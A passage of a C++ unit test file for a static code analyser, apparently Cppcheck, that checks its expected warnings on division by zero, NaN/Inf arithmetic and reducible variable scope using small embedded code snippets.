condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n 